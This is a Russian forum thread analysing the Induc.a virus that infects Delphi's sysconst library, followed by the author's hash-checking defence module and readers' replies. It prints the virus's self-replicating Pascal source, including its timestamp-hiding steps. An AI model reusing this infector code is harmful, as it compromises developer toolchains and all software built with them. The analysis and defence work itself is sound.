Вступление Недавно в новостях был опубликован, новый гениальный вирус , Virus.Win32.Induc.a заражает Delphi-приложения на этапе разработки. Вирус оказался необычным и мне захотелось исследовать этот тип вируса. Разбор полетов, первая модификация этого вируса (12 августа 2009) PHP: function x(s:string):string; var i:integer; begin for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39; result:=s; end; procedure re(s,d,e:string); var f1,f2:textfile; h:cardinal; f:STARTUPINFO; p:PROCESS_INFORMATION; b:boolean; t1,t2,t3:FILETIME; begin h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0); if h<>DWORD(-1) then begin CloseHandle(h); exit; end; {'I-}assignfile(f1,s); reset(f1); if ioresult<>0 then exit; assignfile(f2,d+'pas'); rewrite(f2); if ioresult<>0 then begin closefile(f1); exit; end; while not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos('implementation',s)<>0 then break; end; for h:= 1 to 1 do writeln(f2,sc[h]); for h:= 1 to 23 do writeln(f2,''''+sc[h],''','); writeln(f2,''''+sc[24]+''');'); for h:= 2 to 24 do writeln(f2,x(sc[h])); closefile(f1); closefile(f2); {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak')); fillchar(f,sizeof(f),0); f.cb := sizeof(f); f.dwFlags := STARTF_USESHOWWINDOW; f.wShowWindow := SW_HIDE; b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p); if b then WaitForSingleObject(p.hProcess,INFINITE); MoveFile(pchar(d+'bak'),pchar(d+'dcu')); DeleteFile(pchar(d+'pas')); h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h); h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0); if h=DWORD(-1) then exit; SetFileTime(h,@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY; c:array [1..255] of char; i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY _READ,k)=0 then begin i:=255; if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:=''; i:=1; while c[i]<>#0 do begin r:=r+c[i]; inc(i); end; re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.ex e" '); end; RegCloseKey(k); end; end; begin st; end. Код несложный, изучив его вы сможете понять его логику. Суть в том, файл sysconst.pas подключается к любым проектом delphi, а главное к файлу sysutils.pas, вследствии этого любое приложение (в том числе и консольное), будет заражено этим вирусом. Попробуем реализовать, подобное Откроем файл sysconst.pas, после interface пишем uses windows; и после строки implementation, вписываем такой код Code: begin MessageBox(0,'Win32.InducA','virus',0); end; Компилируем, ага появилась заветное сообщение. т.к. создателям исключительно повезло что файл sysconst.pas поставляется в исходных текстах, т.к. больше никакие системные файлы, к примеру sysitils, не поставляется в *.pas файлах, а только в *.dcu -> изменить их нельзя, но... существуют декомпиляторы dcu файлов, и вирусописатели смогут восстановить код так, что поняв это я начал писать универсальную защиту от подобного типа вирусов. Защита Мною был разработан модуль, подключающийся к любому проекту Delphi, и сигнализирующий о том что библиотеки Delphi инфицированы, для этого был закодирован алгоритм, реализующий следующие действия: 1) Создание файла хешей 2) Сверка хешей, во время запуска Проведя небольшое исследование, и поняв что защитный модуль, включаемый в разрабатываемую программу должен БЫТЬ ПЕРВЫМ!!! т.е. anti_induc, sysutils; Тогда защита срабатывает до того как инициализируется системная библиотека (sysutils, sysconst) 1) Создание файла хешей Code: SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, true); В результате выполнения создается файлик по умолчанию (__hashes.md5), который будет использован для сверки хешей. Т.е. отдельно для каждой машины можно создать файл хешей, в виде имя файла = хеш файла 2) Сверка хешей Code: SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, false); Сверка хешей, происходит валидация модулей, при нахождении инфицированого модуля, выдается сообщение Universal Detect Virus.Win32.Induc.A File: имя файла Также результаты записываться в лог файл %Delphi%\Lib\log.txt Как только будет найден хоть один инфицированный модуль, процесс завершается до того, как вирус начнет действовать. Заключение Данный алгоритм, явлется универсальным, и будет спасать от любых модификаций этого вируса, но имеет небольшой недостаток, пересчет md5 хеша, занимает продолжительное время(2-3 сек). Но изпользовать CRC32 сходно самоубийству, т.к. подделать CRC32 можно простейшим плагином к peID. Как альтернативу советую изпользовать как утилиту для проверки, и сделать так чтобы она запускалась при старте Windows. исходные файлы, и эксперименты вы можете скачать по слылке исходники (с) flacs 2009 P.S: принимаю любую конструктивную критику.
во первых вирус не новый ) я там обновил новость. впервые его обнаружили еще весной, но есть мнение, что этому вирусу уже больше года... <думаю комментарии тут не требуются> код у тебя не полный) выложил бы хоть полный, все равно ведь вирь сам по себе не просто безобидный, но даже создаёт *.bak файл изменяемого им дельфи модуля!11 вот именно у таких виримейкеров надо учиться школьнегам, мечтающим всё у всех отформатировать) автор позаботился даже о том, чтобы зараженным машиная не было нанесено даже _минимального_ ущерба, и вирус мог бы быть совершенно без последствий удален. защита? ну да, молодец. +. хотя пытаться защитить винду - все равно, что пытаться поставить заплатки на все дырки в гигантском решете) в любом случае плюс) лично мне эта защита не нужна, мне интереснее сама эта замечательная зверушка)
код вируса я в каком то блоге взял... и логика его работы понятна. через реестр находим, где установлена Delphi, идем в папку lib, у файла sysconst.pas, меняется расширение(sysconst.bak), из исполняемого файла вытаскивается тело вируса(тело вируса в const), и компилируется утилитой dcc32.exe (производящая в компоновку в *.dcu модули) Для пущей скрытности, меняется время создания файлов sysconst.bak, sysconst.dcu, в то время когда был создан неинффицированый файл sysconst.pas (оригинальный)
вообще, пожалуй, да.... этот код сейчас разошелся по всему миру... я думаю очень многие умельцы используют именно его как основной метод распространения. так что защита флакса может оказаться гораздо более нужной, чем мне показалось сначала потому что я, например, не сомневаюсь, что если чуть чуть по-шаманить над кодом - то он опять перестанет палиться)
Мда... Я думал, что это глюк в Касперском, - палить проги на этапе создания. Поэтому всегда отключал его. Спасибо, не знал раньше об этом вирусе...
самый лучший способ защиты - это запретить запись в папку с DCU файлами. Темболее что через установку прав доступа на NTFS это делает проще некудо. Зато можно небояться. потому как врядли вирь будет менять права доступа, покрайней мере по началу. Или вообще убрать себя из владельцев файлов. чтобы даже незя было поменять права доступа просто так. А тока через аудит итд итп